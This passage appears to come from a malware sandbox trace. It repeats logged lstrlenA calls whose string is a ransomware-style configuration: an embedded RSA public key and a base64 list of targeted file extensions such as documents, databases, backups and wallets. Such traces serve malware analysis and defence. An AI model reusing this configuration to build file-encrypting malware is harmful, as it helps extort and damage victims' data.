CwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLm